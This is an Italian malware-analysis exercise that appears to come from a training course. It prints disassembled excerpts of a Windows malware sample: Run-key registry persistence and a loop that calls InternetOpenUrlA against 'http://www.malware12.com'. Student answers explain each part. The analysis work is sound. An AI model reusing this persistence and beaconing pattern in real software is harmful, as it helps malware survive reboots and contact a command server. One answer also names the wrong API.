

S11/L1 - Windows malware

Traccia

Con riferimento agli estratti di un malware reale presenti nelle prossime slide, rispondere alle seguenti domande:

- 1) Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite
- 2) Identificare il client software utilizzato dal malware per la connessione ad Internet
- 3) Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL

BONUS: qual è il significato e il funzionamento del comando assembly "lea"

```
0040286F  push     2                ; samDesired
00402871  push     eax              ; ulOptions
00402872  push     offset SubKey    ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push     HKEY_LOCAL_MACHINE ; hKey
0040287C  call     esi              ; RegOpenKeyExW
0040287E  test     eax, eax
00402880  jnz      short loc_4028C5
00402882
00402882  loc_402882:
00402882  lea      ecx, [esp+424h+Data]
00402886  push     ecx              ; lpString
00402887  mov      bl, 1
00402889  call     ds:lstrlenW
0040288F  lea      edx, [eax+eax+2]
00402893  push     edx              ; cbData
00402894  mov      edx, [esp+428h+hKey]
00402898  lea      eax, [esp+428h+Data]
0040289C  push     eax              ; lpData
0040289D  push     1                ; dwType
0040289F  push     0                ; Reserved
004028A1  lea      ecx, [esp+434h+ValueName]
004028A8  push     ecx              ; lpValueName
004028A9  push     edx              ; hKey
004028AA  call     ds:RegSetValueExW

.text:00401150 ; ;;;;;;;;;;;;;; S U B R O U T I N E ;;;;;;;;;;;;;;
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress  proc near          ; DATA XREF: sub_401040+ECF0
.text:00401150          push     esi
.text:00401151          push     edi
.text:00401152          push     0                ; dwFlags
.text:00401154          push     0                ; lpzProxyBypass
.text:00401156          push     0                ; lpzProxy
.text:00401158          push     1                ; dwAccessType
.text:0040115A          push     offset szAgent    ; "Internet Explorer 8.0"
.text:0040115F          call     ds:InternetOpenA
.text:00401165          mov      edi, ds:InternetOpenUrlA
.text:0040116B          mov      esi, eax
.text:0040116D
.text:0040116D loc_40116D:          ; CODE XREF: StartAddress+30Jj
.text:0040116D          push     0                ; dwContext
.text:0040116F          push     80000000h        ; dwFlags
.text:00401174          push     0                ; dwHeadersLength
.text:00401176          push     0                ; lpzHeaders
.text:00401178          push     offset szUrl      ; "http://www.malware12.com"
.text:0040117D          push     esi              ; hInternet
.text:0040117E          call     edi              ; InternetOpenUrlA
.text:00401180          jmp      short loc_40116D
.text:00401180 StartAddress  endp
.text:00401180
```

1) *Persistenza del Malware*

In genere, per ottenere persistenza un malware modifica i registri di sistema. Nello specifico, il malware aggiunge sé stesso alle entry dei programmi che devono essere avviati all'avvio del PC in modo tale da essere eseguiti in maniera automatica e permanente senza l'azione dell'utente.

```
push 2 ; samDesired
push eax ; ulOptions
push offset SubKey ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
push HKEY_LOCAL_MACHINE ; hKey
call esi ; RegOpenKeyExW 004028AA call ds:RegSetValueExW
```

Nel codice soprastante possiamo notare che vengono usate la funzioni **RegOpenKeyExW** e **RegOpenKeyExW** per aprire e scrivere nella *subkey* **Run** presente nella *key* **HKEY_LOCAL_MACHINE**.

2) *Client software*

Il malware usa un software esterno ad esso per potersi connettere ad internet. Analizzando il codice assembly notiamo questa riga di codice:

```
push offset szAgent ; "Internet Explorer 8.0"
```

Vediamo che viene effettuato un offset di **szAgent** che si riferisce al software usato per la connessione, in questo caso **Internet Explorer 8.0**

3) *URL malevolo e Call funzione*

Studiando il codice assembly possiamo notare un *url* sospetto e la funzione usata per collegarsi a questo *url*

```
push offset szUrl ; "http://www.malware12.COM"
push esi ; hInternet
call edi ; InternetOpenUrlA
```

- **offset szUrl** spinge sullo stack l'url <http://www.malware12.COM>
- **call edi** è una chiamata al registro **edi**. In una riga di codice antecedente notiamo che il registro contiene la funzione **InternetOpenUrlA** che viene usato dal malware per connettersi all'url malevolo.

```
call ds:InternetOpenA
mov edi, ds:InternetOpenUrlA
```

Bonus

L'istruzione “**LEA**” (Load Effective Address) in assembly serve per calcolare l'indirizzo effettivo di un'operazione di memoria e memorizzarlo in un registro, senza accedere direttamente alla memoria. È un'operazione potente che consente di eseguire calcoli di indirizzi e offset in modo efficiente.